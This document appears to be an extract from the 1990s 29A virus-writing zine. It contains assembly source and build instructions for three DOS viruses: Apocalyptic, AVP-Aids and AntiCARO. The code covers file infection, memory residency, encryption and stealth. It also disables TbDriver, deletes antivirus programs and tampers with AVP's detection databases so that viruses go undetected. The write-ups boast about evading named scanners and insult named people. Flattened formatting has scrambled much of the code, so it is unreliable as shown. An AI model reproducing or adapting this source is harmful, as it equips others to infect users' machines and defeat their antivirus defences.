lodsw and ah, 0FEh mov [si-2], ax fuera:
;make int 03h point to true int 21h ;)
;trace m0de 0ff.
popa pop bp es ds iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± fndhst: push ds es bp pusha call getret chkhst: cmp jne
di, 102h nohost
;detect h0st c0de at exec.
;get next instructi0n dir. ;ensure it's h0st start :)
push cs pop ds mov ax, word ptr firstb dec di dec di stosw
;rest0re first h0st w0rd in mem0ry.
lea push mov int xchg
dx, path dx ax, 3D02h 21h bx, ax
;0pen file.
lea mov mov int
dx, firstb cx, 2 ah, 40h 21h
;rest0re first w0rd 0f file.
call mov int pop call
setdate ah ,3Eh 21h dx setattr
;rest0re file date & time. ;cl0se file.
xor mov mov mov mov mov
ax, ax es, ax ax, intcddes es:[0CDh*4], ax ax, intcdseg es:[0CDh*4]+2, ax
;rest0re int CDh vect0r.
mov mov
word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r es:[01h*4]+2, cs ;t0 find a call.
mov
numinstr, 0FFh
;max number 0f instr. t0 trace.
in and
ax, 40h al, 03h
;ramd0m ch0se 0f call t0 infect (2-5).
;rest0re file attributes.
inc inc mov
al al numcall, al
push pop dec dec mov
ss ds di di [si-4], di
lodsw or ah, 01h mov ss:[si-2], ax
;rest0re 0riginal IP (100h) 0n stack.
;trace m0de 0n
nohost: popa pop bp es ds iret ;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±± fndcal: push ds es bp pusha dec jnz jmp goon:
norep:
cs:numinstr goon off
;trace h0st t0 find a call t0 infect.
;check instructi0n trace limit.
call getret
;get ret address.
cmp jne inc
di, cs:lstdsp norep cs:numinstr
;d0 n0t c0unt 0ne m0re instructi0n ;0n 'rep' prefixed instructi0ns.
mov
cs:lstdsp, di
;st0re actual return 0ffset.
mov
ax, es:[di]
cmp al, 9Dh jne chkirt lodsw lodsw or ah, 01h mov [si-2], ax jmp nocall
;check f0r a p0pf.
chkirt: cmp al, 0CFh jne chkint lodsw lodsw lodsw lodsw or ah, 01h mov [si-2], ax anocall:jmp nocall
;check f0r a iret.
chkint: cmp jne cmp je cmp je cmp je
;check f0r a int xx.
al, 0CDh chkint3 ah, 20h anocall ah, 21h anocall ah, 27h anocall
;ensure trap flag will be 0n.
;ensure trap flag will be 0n.
;skip ints 20h, 21h & 20h
mov
cs:numint, ax
;int number t0 perf0rm call.
inc inc mov
di di [si-4], di
;inc ret addr t0 step 0ver int call.
popa pop bp es ds numint dw 00 iret
;perf0rm int call in virus c0de.
chkint3:cmp jne inc mov jmp
al, 0CCh chkcal di [si-4], di nocall
;check int 03h call.
chkcal: cmp je jmp
al, 0E8h found nocall
;check f0r a call t0 infect.
found:
cs:numcall go cs:numinstr, 20 go nocall
;it's the nice 0ne ;)
go:
ok:
dec je cmp jb jmp
;step 0ver int call.
;d0n't be s0 extrict in call number ;if there are t00 few calls.
call chgattr
;change attributes.
mov ax, 3D02h int 03h xchg bx, ax
;0pen file.
call getdate
;get file date & time.
xor mov sub mov int
cx, dx, dx, ax, 03h
;m0ve t0 file call positi0n.
lea mov mov int
dx, check cx, 1 ah, 3Fh 03h
;read call fr0m file f0r c0mpress chk.
cmp je jmp
check, 0E8h ok close
;c0mpressed file?
xor mov cwd int mov
cx, cx ax, 4202h
;m0ves t0 end 0f file.
sub add mov
ax, di ax, 0FDh hostsize, ax
;find call parameter.
mov add
ax, es:[di+1] ax, di
;0ffset t0 return t0 h0st
cx di 100h 4200h
;dx <- 0 ;) 03h hostsize, ax
;f0r a new "call hostsize".
close:
add mov
ax, 3 retonno, ax
lea mov mov int
dx, start cx, virsize ah, 40h 03h
;save mi c0de at file end.
xor sub mov mov int
cx, di, dx, ax, 03h
;m0ves again t0 call.
lea mov mov int
dx, hostsize cx, 2 ah, 40h 03h
cx 0FFh di 4200h
call setdate
;rest0re file time & date.
mov int
;cl0se file.
ah, 3Eh 03h
lea dx, path call setattr off:
;change it. }:)
mov mov and mov
bp, sp ax, ss:[bp+26] ah, 0FEh ss:[bp+26], ax
;rest0re file attributes.
;trace m0de 0ff.
nocall: popa pop bp es ds iret ;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±± getret: mov si, add si, push ss pop ds lodsw mov di, lodsw mov es, ret
sp 24
;get next instructi0n dir.
ax ax
;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±± chgattr:push pop lea mov int mov xor mov int ret
cs ds dx, path ax,4300h 03h attrib,cx cx, cx ax,4301h 03h
setattr:mov mov
cx, attrib ax,4301h
;change file attributes.
;reset file atributes.
;rest0re file attributes.
int ret
03h
getdate:mov int mov mov ret
ax,5700h 03h time,cx date,dx
;get file time & date.
setdate:mov mov mov int ret virend:
cx,time dx,date ax,5701h 03h
;rest0re file time & date.
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± firstb lstdsp numinstr numcall intcddes intcdseg hostsize attrib time date check path code ends end start
db dw db db dw dw dw dw dw dw db db
3 dup(0) 0 0 0 0 0 0 0 0 0 0 0
;buffer f0r h0st start. ;last trace 0ffset. ;max. number 0f instructi0ns t0 trace. ;call t0 infect (2-5). ;int CD vect0r backup. ;it's just the h0st size ;) ;file attributes. ;file time. ;file date. ;check f0r compressed file. ;path to host.
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
Virus name: Author: Size: Origin: Finished:
Apocalyptic WiNTeRMuTe/29A 1058 bytes Madrid, Spain October, 1996 ( with a pair of corrections after that )
Characteristics and curiosities - TSR appending Com/Exe infector - Has a routine to encrypt and another to decrypt ( ror+add+xor ) - Stealth ( 11h/12h/4eh/4fh/5700h ) - Deactivates Tbdriver when going into mem and when infecting - Makes the int 3h point to the int21h on infection - Fools f-prot's 'stealth detection' - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan, Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb searching loop,... really that product is a shit ) - Payload: On 26th of July it shows all file with size 029Ah ( 666 )
Thanks go to: - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman, VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP - Living Turmoil, specially Warblade and Krackbaby... go on with the mags! - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan, Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the other cosysops...
And fucks go to: - Some Fidoasses. They know who they are.
*ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* " Why don't you get a life and grow up, why don't you realize that you're fucked up, why criticize what you don't understand, why change my words, you're so afraid " ( Sepultura ) *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* To assemble the virus, use: Tasm virus.asm Tlink virus.obj
.286 HOSTSEG segment BYTE ASSUME CS:HOSTSEG, SS:CODIGO Host: mov ax,4c00h int 21h ends
CODIGO ASSUME
segment PARA CS:CODIGO, DS:CODIGO, SS:CODIGO
virus_size encrypt_size
equ virus_end-virus_start equ encrypt_end-encrypt_start
virus_start
label byte
org
0h
Letsrock: call
delta
; Entry for Com/Exe
mov mov sub push
si,sp bp,word ptr ss:[si] bp,offset delta es ax ds
; ë-offset
push pop call
cs ds tomacha
label
byte
delta:
Encrypt_start
; I don't call encryption ;on first generation
;*************************************************************************** ; RESIDENCE ;***************************************************************************
goon: push call
es tbdriver
mov int mov mov
ah,52h 21h si,es:[bx-2] es,si
; Pick list of lists
cmp je add inc mov jmp
byte ptr es:[0],'Z' got_last si,es:[3] si es,si Mcb_Loop
; I search last Mcb.
pop cmp je cmp jne
dx word ptr es:[1],0h go_on word ptr es:[1],dx exit
cmp jb
word ptr es:[3],((virus_size+15)/16)+1 exit ; Is there space for me ?
push pop mov add sub push
es ; If there is, I get resident ds di,es di,word ptr es:[3] ; Residence stuff; nothing di,((virus_size+15)/16) ;special di
; Deactivate TbDriver
; First MCB
Mcb_Loop:
cont:
got_last: ; Is it free ? ; Or with active Psp ?
go_on:
mov xor xor mov rep
es,di di,di si,si cx,8 movsw
pop inc mov mov
di di word ptr es:[3],((virus_size+15)/16)+1 word ptr es:[1],di
mov sub mov mov xor rep
byte ptr ds:[0],'M' word ptr ds:[3],((virus_size+15)/16)+1 di,5 cx,12 al,al stosb
push pop inc push mov xor mov mov rep
es cs ds ax ax ax es,ax di,di si,bp cx,(virus_size) movsb
mov int pop mov mov mov lea int
ax,3521h 21h ds ds:word ptr [int21h],bx ds:word ptr [int21h+2],es ah,25h dx,main_center 21h
;*************************************************************************** ; RETURN TO HOST ;*************************************************************************** exit: pop
ds ax es
dec jz
byte ptr [flag+bp] era_un_com
mov add add cli mov mov sti
si,ds ; Recover stack si,cs:word ptr [ss_sp+bp] si,10h
mov add add push push
si,ds ; Recover CS:IP si,cs:word ptr [cs_ip+bp+2] si,10h si cs:word ptr [cs_ip+bp]
retf
; Was it a Com ?
ss,si sp,cs:word ptr [ss_sp+bp+2]
; Return to host
era_un_com: mov push lea movsw movsb ret
di,100h di si,bp+ss_sp
; If it's a Com, I make ;it to return
push mov int cmp pop jnz stc ret
cx dx ah,02ah 21h dx,071Ah dx cx nain
; Payload trigger ; Activates on 26th july
condiciones:
nain: clc ret ;*************************************************************************** ; TBDRIVER ;*************************************************************************** Tbdriver:
volvamos:
xor mov les cmp jnz push push mov pop pop ret
ax,ax ; Annulates TBdriver,... es,ax ;really, this Av is a bx,es:[0084h] ;megashit. byte ptr es:[bx+2],0eah volvamos word ptr es:[bx+3] word ptr es:[bx+5] es,ax word ptr es:[0086h] word ptr es:[0084h]
;*************************************************************************** ; STEALTH 05700h ;*************************************************************************** Stealth_tiempo: pushf call push and xor pop jnz or
dword ptr cs:[Int21h] cx cl,01fh cl,01fh cx nada cl,01fh
retf
2
; Calls Int21h
; Changes seconds
nada:
;**************************************************************************** ; FCB STEALTH ;**************************************************************************** FCB_Stealth: pushf call test
dword ptr cs:[Int21h] al,al
; Stealth of 11h/12h, by ;FCBs
jnz
sin_stealth
push
ax bx es
mov int mov cmp jnz
ah,51h 21h es,bx bx,es:[16h] No_infectado
mov mov push mov int pop inc jnz add
bx,dx al,[bx] ax ah,2fh 21h ax al Normal_FCB bx,7h
mov and xor jnz
al,es:[bx+17h] al,1fh al,1fh No_infectado
sub sbb and
word ptr es:[bx+1dh],Virus_size ; Old lenght of word ptr es:[bx+1fh],0 ;file and "normal" byte ptr es:[bx+17h],0F1h ;seconds
call jnc
condiciones sin_nada
mov mov
word ptr es:[bx+1dh],029Ah word ptr es:[bx+1fh],0h
pop retf
es bx ax 2
Normal_FCB:
No_infectado:
; Virus's payload
sin_nada: Sin_stealth:
;**************************************************************************** ; INT 21h ;**************************************************************************** main_center:
; The main center ! cmp jz cmp jz cmp jz cmp jz cmp jz cmp je jmp
ax,5700h stealth_tiempo ah,11h fcb_stealth ah,12h fcb_stealth ah,4eh handle_stealth ah,4fh handle_stealth ah,4bh ejecutar saltito
;**************************************************************************** ; HANDLE STEALTH ;****************************************************************************
handle_stealth: pushf call jc
dword ptr cs:[Int21h] adios_handle
; Handle stealth, functions ;4eh/4fh
pushf push
ax es bx cx
mov int
ah,62h 21h
mov mov xor mov
es,bx es,word ptr es:[2ch] bx,bx cx,100h
cmp jz inc loop
word ptr es:[bx],'-F' sin_infectar bx fpr
mov int
ah,2fh 21h
mov and xor jnz
al,es:[bx+16h] al,1fh al,1fh sin_infectar
sub sbb and
word ptr es:[bx+1ah],Virus_size ; Subs virus size word ptr es:[bx+1ch],0 ;and places coherent byte ptr es:[bx+16h],0F1h ;seconds
call jnc
condiciones no_payload
mov mov
word ptr es:[bx+1ah],029Ah word ptr es:[bx+1ch],0h
pop popf
cx bx es ax
retf
2
anti_antivirus:
; Is it F-prot ?
fpr: ; Si lo es, pasamos de hacer ;el stealth
sin_infectar:
; payload
no_payload:
adios_handle:
;**************************************************************************** ; EXE INFECTION ;**************************************************************************** ejecutar: pushf push
ax bx cx dx si di ds es bp
mov mov
di,ds si,dx
call
tbdriver
; deactivates TbDriver
mov int
ax,3503h 21h
; Int 3h points to the ;int 21h: less size and we
push pop mov lea int push
cs ds ah,25h dx,saltito 21h es bx ax
;fuck'em a bit
mov int mov lea int push
ax,3524h 3h ah,25h dx,int24h 3h es bx ax
; We handle int 24h
mov mov
ds,di dx,si
mov int mov push xor int
ax,4300h 3h ax,4301h ax cx dx cx,cx 3h
Noloes: ; Saves and clears file ;attributes
vamos_a_ver_si_exe:
infect:
mov mov int jc
byte ptr [flag],00h ax,3d02h 3h we_close
xchg
ax,bx
push pop mov mov lea int
cs ds ah,3fh cx,01ch dx,cabecera 3h
mov add cmp jnz cmp jz cmp jnz jmp
al,byte ptr [cabecera] ; Makes comprobations al,byte ptr [cabecera+1] al,'M'+'Z' go_close word ptr [cabecera+18h],40h go_close word ptr [cabecera+1ah],0 go_close ; If it's all right, goes on conti
mov mov
ds,di dx,si
cmp je inc jmp
byte ptr ds:[si],0 chequeo si buscar_final
; Searches end in ds:si
push pop
cs es
; Is it a
; Opens file
; Reads header
go_close:
buscar_final:
chequeo: .COM ?
lea sub cmpsw jne jmp
di,comtxt si,3
jmp
close
mov push int push and xor jz
ax,5700h ax 3h dx cx cl,1fh cl,1fh close_ant
call cmp ja xor jmp
pointerant ax,0200h contt si,si close_ant
push pop shr shl add sub push
ax si ax,4 dx,12 dx,ax dx,word ptr ds:cabecera+8 dx
and push call pop
si,0fh si copy si
pop mov inc mov mov mov
dx ds:word dx ds:word ds:word ds:word
call
pointerant
mov div inc mov mov mov
cx,200h cx ax word ptr [cabecera+2],dx word ptr [cabecera+4],ax word ptr [cabecera+0ah],((virus_size)/16)+10h
mov call mov lea push pop mov int
ax,4200h pointer cx,1ch dx,cabecera cs ds ah,40h 3h
we_close infeccion_com
we_close:
conti:
noinz:
; Time/date of file
; To avoid changing ;date of non-infected ;files
contt:
ptr [cs_ip+2],dx ptr [ss_sp],dx ptr [cs_ip],si ptr [ss_sp+2],((virus_size+100h-15h)/2)*2
close_ant: pop or je inc or int
cx dx ax si,si close ax cl,1fh 3h
pop inc int
dx cx ax ax 21h
mov int
ah,03eh 3h
pop int pop int
ax dx ds 3h ax dx ds 3h
pop popf jmp
bp es ds di si dx cx bx ax
mov
ax,4202h
xor cwd int ret
cx,cx
close: ; Attributes
nahyuck: ; Restores Int 24h y 3h
saltito
Pointerant: Pointer:
3h
;**************************************************************************** ; COM INFECTION ;****************************************************************************
infeccion_com: mov int jc xchg
ax,3d02h 3h close bx,ax
push pop
cs ds
mov
byte ptr [flag],1h
mov push int push and xor jz
ax,5700h ax 3h dx cx cl,1fh cl,1fh close_ant
; Open
; To make the virus know it's ;a com when restoring ; Time/date
quesiquevale:
alnoin:
mov mov lea int
ah,3fh cx,3 dx,ss_sp 3h
; Reads beggining of file
call cmp ja cmp jna jmp
pointerant ; Lenght check ax,0200h puedes_seguir ax,(0ffffh-virus_size-100h) puedes_seguir noinz
sub mov
ax,3 word ptr [cabecera],ax
call
copy
mov call
ax,4200h pointer
mov lea mov int
ah,40h dx,salt cx,3h 3h
jmp
close_ant
puedes_seguir:
; Appending
; Jumping to code at ;beggining
;**************************************************************************** ; DATA ;**************************************************************************** autor: comtxt: flag: salt: cabecera: SS_SP: Checksum: CS_IP: Cequis:
db db db db db dw dw dw dw
'Apocalyptic by Wintermute/29A' 'COM' 0 0e9h 0eh dup (90h) 0,offset virus_end+100h 0 offset host,0 0,0,0,0
Encrypt_end
label
byte
push pop xor call mov mov lea int call ret
cs ds bp,bp encryptant ah,40h cx,virus_size dx,letsrock 3h deencrypt
copy:
; Don't let bp fuck us ; Encrypts ; Copies
; Deencrypts
;**************************************************************************** ; ENCRYPT ROUTINE ;**************************************************************************** encryptant: lea
si,encrypt_end
; Encrypts
mov mov sub xor ror mov dec loop ret
cx,encrypt_size dl,byte ptr [si] dl,2h dl,0f9h dl,4 byte ptr [si],dl si enc_loop
lea mov mov mov mov rol xor add mov dec loop ret
si,encrypt_end+bp cx,encrypt_size di,8 dl,byte ptr [si] al,dl dl,4 dl,0f9h dl,2h byte ptr [si],dl si encri
al,3
Saltito: int21h:
mov ret db dw 0,0
virus_end
label byte
enc_loop:
deencrypt:
encri:
Int24h:
; Deencrypts
0eah
tomacha: mov ret
cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start ; This is cause I don't like putting a stupid flag, ; this two commands won't be copied
CODIGO ends END Letsrock VSTACK segment para STACK 'Stack' db ends
100h dup (90h)
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ
AVP-Aids, by Tcp/29A
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
AVP is probably the best antivirus nowadays, but it's the most easily foolable too :) One of its best advantages is that the user himself is able to write his own detection and disinfection routines for any new virus he may find. But a virus author could use that facilities to write a virus, don't you think? :) All we need to have is the routine editor (AVPRO) which is included in the registrated version of AVP (2.1 and above), or the -older- one included in the shareware version of AVP 2.0, which is the one i used. This routine editor gives us a lot of functions and structures we can call. For more info on this, read their definitions in a file named DLINK.H which is included in AVP. Having access to the vectors of those functions, we may either change or redirect them as a normal virus does with the standard interrupt vectors. We could write trojans, droppers, a stealth routine, and even a whole virus... imagination is the only limit you have ;) As an example of this, i wrote a simple virus which i named AVP-Aids, because it works in the same way as the known disease does: - It destroys the organism defenses: deletes F-Prot, TbScan and Scan when AVP tries to scan them. - Favours the appearing of opportunist diseases: AVP won't detect any virus (only a few using it heuristic scanner), so any virus, though being a super-old one, will be able to infect the system. I recommend the reading of the file USERGUID.DOC which is included in the AVP pack for a better comprehension about the way AVP-Aids works. For getting a working dropper of AVP-Aids, first compile the next two files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm). **** File: AVP_DEC.ASM ***********************************************
aids_decode segment byte public 'CODE' assume cs:aids_decode _decode proc far aids proc far push ds push bp mov bp,seg _Page_A ; Get AVP's data segment mov ds,bp les di,ds:_Page_A ; Get pointer to Page_A mov cx,400h ; Length of Page push cx mov al,1 ; If al=0 then AVP detects the Win95.Boza.A ; in a high number of files... rules :-DDD rep stosb ; Clear Page_A les di,ds:_Page_B pop cx push cx rep stosb
; Clear Page_B
les di,ds:_Header pop cx rep stosb
; Clear Header
push ds pop es lds si,ds:_File_Name ; lodsw cmp ax,'-f' ; je del_file cmp ax,'bt' ; jne check_sc lodsw check_sc: cmp ax,'cs' ; jne no_scan lodsw cmp ax,'na' jne no_scan del_file: push es pop ds lds dx,ds:_File_Full_Name mov ah,41h int 21h ; no_scan: pop bp pop ds xor ax,ax retf ; aids endp _decode endp
File scanned Check for F-*.* Check for TBSCAN
Check for SCAN
Delete file (F-Prot, Scan, TBScan)
Return to AVP (AX==0 <-> RCLEAN)
aids_decode ends public public extrn extrn extrn extrn extrn end
_decode aids _Page_A:dword _Page_B:dword _Header:dword _File_Name:dword _File_Full_Name:dword
; **** EOF: AVP_DEC.ASM ************************************************ ; ; **** File: AVP_JMP.ASM *********************************************** aids_jmp segment byte public 'CODE' assume cs:aids_jmp _jmp proc far call far ptr aids retf _jmp endp aids_jmp ends public extrn end
_jmp aids:far
; call the aids procedure ; Return to AVP
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
**** EOF: AVP_JMP.ASM ************************************************ Now that we got their corresponding OBJ files, we load AVPRO and edit a new viral database which we'll name AVP_AIDS.AVB. Add a File register, and write the name and the commentary you want, it doesn't mind. Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept the register. Because the second OBJ file makes a call to a procedure of the first one, we will need AVP to load in memory the database we just created. For this we must save this base and add it to the active ones by pressing F4. Once we have done this, we must edit again AVP_AIDS.AVB and add a jmp register. Now link AVP_JMP.OBJ as an external routine, and if everything is right we'll be able to save and exit. After doing all this, we must compile the virus itself: for doing it, we must modify the database length equ (length_aids) with the correct value and follow the next steps: tasm /m avp_aids.asm tlink avp_aids.obj exe2bin avp_aids.exe avp_aids.com copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-aids.com As *all_this* is quite hard to do, Mister Sandman has included a fully compiled second generation of this virus in \FILES :) **** File: AVP_AIDS.ASM ********************************************** Name: Author: When:
AVP-Aids Tcp / 29A 6-April-96 : 1st implementation November-96: Now doesn't hang AVP 2.2x
Where: Comments:
Spain A simple and lame virus to demostrate the AVPRO API capabilities... to make virii... ;) Also fools TBAV... (except this first generation)
LENGTH_AIDS equ 590
; Place here the length of your base
avp_aids segment byte public assume cs:avp_aids, ds:avp_aids, ss:avp_aids org 0 start: call get_delta next: avp_set base f_base f_mask _format
db db db db db
'AVp.SeT',0 'KRN386.AVB',13,10 'kRn386.aVb',0 '*.cOm',0 'c:\DoS\fORmaT.cOM',0
six db 0cdh,20h,?,?,?,? ; Original bytes jmp_vir db 'PK' ; Fools TBScan pop bx ; Fix ('PK'= push ax, dec bx) db 0e9h ; jmp ofs_vir dw ? db '[AVP-Aids, Tcp / 29A]'
get_delta: mov di,100h pop bp push di sub bp,offset(next) ; Get delta-offset mov di,100h push di lea si,[bp+six] movsw movsw movsw ; Restore infected file mov ah,2fh int 21h ; Get DTA push es push bx lea dx,[bp+offset(dta)] mov ah,1ah int 21h ; Set DTA mov ah,4eh xor cx,cx lea dx,[bp+f_mask] int 21h ; Find-first *.com jc check_for_format lea dx,[bp+offset(dta)+1eh] call infect_file check_for_format: lea dx,[bp+offset(_format)] ; Try to infect c:\dos\format.com call infect_file mov ax,3d00h ; Search for avp.set lea dx,[bp+avp_set] int 21h jc exec_host xchg ax,bx mov ah,3fh lea dx,[bp+dta] mov cx,666h ;-) int 21h push ax ; length(AVP.SET) mov ah,3eh int 21h ; Close file mov ah,3ch xor cx,cx lea dx,[bp+f_base] int 21h ; Create krn386.avb (viral database) xchg ax,bx mov ah,40h push ax lea dx,[bp+base] mov cx,offset(f_base)-offset(base) int 21h ; Write base name in file pop ax lea dx,[bp+dta] pop cx int 21h ; Write rest of AVP.SET mov ah,3eh int 21h mov ah,41h lea dx,[bp+avp_set] int 21h ; Delete AVP.SET mov ah,56h mov di,dx
lea dx,[bp+f_base] int 21h mov ah,3ch xor cx,cx int 21h xchg ax,bx mov ah,40h lea dx,[bp+aids_base] mov cx,LENGTH_AIDS int 21h mov ah,3eh int 21h exec_host: pop dx pop ds mov ah,1ah int 21h push cs push cs pop ds pop es ret
; Rename krn386.avb to AVP.SET
; Reset krn386.avb
; Write the AVP-AIDS base
; Restore DTA
infect_file: mov ax,3d02h int 21h ; Open jc no_file xchg ax,bx mov ah,3fh mov cx,6 lea dx,[bp+offset(six)] int 21h ; Read 6 bytes cmp ax,cx ; File >6 bytes? jne close_file ; No? ten jmp cmp word ptr [bp+six],'ZM' ; EXE file but .com extension? je close_file ; Yes? then jmp cmp word ptr [bp+six],'KP' ; Already infected? je close_file ; Yes? then jmp mov ax,4202h cwd xor cx,cx int 21h ; Go end mov ah,40h mov dx,bp mov cx,offset(vir_end) int 21h ; Write virus mov ax,4200h cwd xor cx,cx int 21h ; Go start mov ax,[bp+offset(dta)+1ah] ; File size sub ax,6 mov [bp+ofs_vir],ax mov ah,40h lea dx,[bp+jmp_vir] mov cx,6 int 21h ; Write jump to virus mov ax,5701h mov cx,[bp+offset(dta)+16h] ; Time mov dx,[bp+offset(dta)+18h] ; Date int 21h ; Set time/date to original close_file: mov ah,3eh
int 21h no_file: ret
; Close file
aids_base db LENGTH_AIDS dup(?) vir_end: dta: avp_aids ends end start
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
AntiCARO by Mister Sandman/29A
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
As i don't agree with CARO and with the way the name viruses, and specially the way they *misnamed* VLAD's Bizatch, i decided to write this virus... just to protest against the biggest dickhead under the sun, Vesselin Bonchev, the virus-baptizer who does whatever he wants making abuse of his 'power' in that fucking sect named CARO. And as i know that, albeit he works at Frisk, his favourite AV is AVP, i just took the decission to write this baby, which will modify AVP so it will detect Bizatch as 'Bizatch_:P' and not as Boza. The virus is lame as hell (but i swear i wasn't able to reach Ratboy's or YAM's coding skills)... i only developed its originality. Anyway, it's interesting to see how does it modify AVP: It looks for AVP.SET in the current directory it's being loaded from. If it finds that file, it will insert a new viral database in the second field, and later it will drop that new database, which contains the data needed for detecting Bizatch from AVP (have a look at the code, which is found at the end of this virus). As this new viral database has been loaded before the rest of the other databases (except of KERNEL.AVB, which must be always loaded in the first place), it will be the first one containing Bizatch's search strings, so it will be the fortunate participant to show the name of the virus it has detected :) About the virus itself, as i told before, it's a lame TSR COM infector which hits files on execution (4b00h) and uses SFTs for performing the file infection. This virus is dedicated to my friends Quantum and Qark (ex VLAD) for obvious reasons and to Tcp/29A because of his help on its writing. Compiling instructions: tasm /m anticaro.asm tlink anticaro.obj exe2bin anticaro.exe anticaro.com
anticaro assume org
segment byte public cs:anticaro,ds:anticaro 0
anticaro_start anticaro_size
label equ
entry_point: delta_offset: sub
call delta_offset pop bp bp,offset delta_offset
mov lea int jc
byte anticaro_end-anticaro_start
ax,3d02h dx,[bp+avp_set] 21h mem_res_check
; Get ë-offset ; for l8r use ; Try to open AVP.SET ; if it's found in the ; current directory
xchg mov mov lea int push
bx,ax ah,3fh cx,29Ah dx,[bp+anticaro_end] 21h ax
mov xor mov int
ax,4200h cx,cx dx,0ch 21h
; Lseek to the second ; line (first must ; be always KERNEL.AVB)
mov xor int
ah,40h cx,cx 21h
; Truncate file from ; current offset
mov mov lea int
ah,40h cx,0dh dx,[bp+bizatch_name] 21h
; ; ; ;
Write our viral database name (BIZATCH.AVB) as second field
mov pop sub lea int
ah,40h cx cx,0ch dx,[bp+anticaro_end+0ch] 21h
; ; ; ;
And write the rest of the original AVP.SET we read b4 to our buffer
mov int
ah,3eh 21h
; Close file
mov xor lea int
ah,3ch cx,cx dx,[bp+bizatch_base] 21h
; ; ; ;
xchg mov mov lea int
bx,ax ah,40h cx,base_size dx,[bp+bizatch_avb] 21h
; Write the database ; contents in the new ; created file
mov int
ah,3eh 21h
; Close file
mov ax,'CA' bx,'RO' 21h
; Check if we're already ; memory resident
cmp cmp je
ax,'SU' bx,'X!' nothing_to_do
; Coolio residency ; check... CARO SUX! :P
dec mov xor
mov ax ds,ax di,di
cmp jna
byte ptr ds:[di],'Y' nothing_to_do
sub sub add
word ptr ds:[di+3],((anticaro_size/10h)+2) word ptr ds:[di+12h],((anticaro_size/10h)+2) ax,word ptr ds:[di+3]
mem_res_check: mov int
install:
; Read the whole file ;-)
Create the new viral database (BIZATCH.AVB) which contains Bizatch's detection data
ax,es ; Program's MCB segment
; Is it a Z block?
inc
ax
mov mov mov mov mov mov inc
ds,ax byte ptr word ptr word ptr word ptr word ptr ax
cld push pop mov mov lea rep
cs ds es,ax cx,anticaro_size si,[bp+anticaro_start] movsb
ds:[di],'Z' ; Mark block as Z ds:[di+1],8 ; System memory ds:[di+3],((anticaro_size/10h)+1) ds:[di+8],4f44h ; Mark block as owned ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0)
; Copy virus to memory
push mov mov mov lea movsw movsw
ds ds,cx es,ax si,21h*4 di,old_int_21h+1
mov mov
word ptr [si-4],offset new_int_21h word ptr [si-2],ax ; Set ours
pop push pop
ds ds es
nothing_to_do: mov push movsw movsw ret
; Save int 21h's ; original vector
; CS=DS=ES
lea si,[bp+host_header] ; Restore host's header di,100h ; and jump to cs:100h di ; for running it
; **´ note_to_stupid_avers ;) Ã******************************************* copyright db db db db db
db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah 'Please note: the name of this virus is [AntiCARO] ' 'written by Mister Sandman of 29A... but... dear ' 'Bontchy... name it however *you* (and not CARO) want,' ' as usual; we just don''t mind your childish ' 'stupidity :)',0dh,0ah
; **´ AntiCARO's int 21h handler Ã**************************************** new_int_21h: jnz cmp jnz mov mov iret execution?: je
cmp ax,'CA' execution? bx,'RO' execution?
; Residency check ; Are they asking my ; opinion about CARO?
ax,'SU' bx,'X!'
; Ok, CARO SUX! :P
cmp ax,4b00h check_name
; This is the moment ; we were waiting for ;)''
old_int_21h: dw
db 0,0
0eah
; jmp xxxx:xxxx ; Original int 21h
; **´ Infection routines Ã************************************************ check_name: push cld
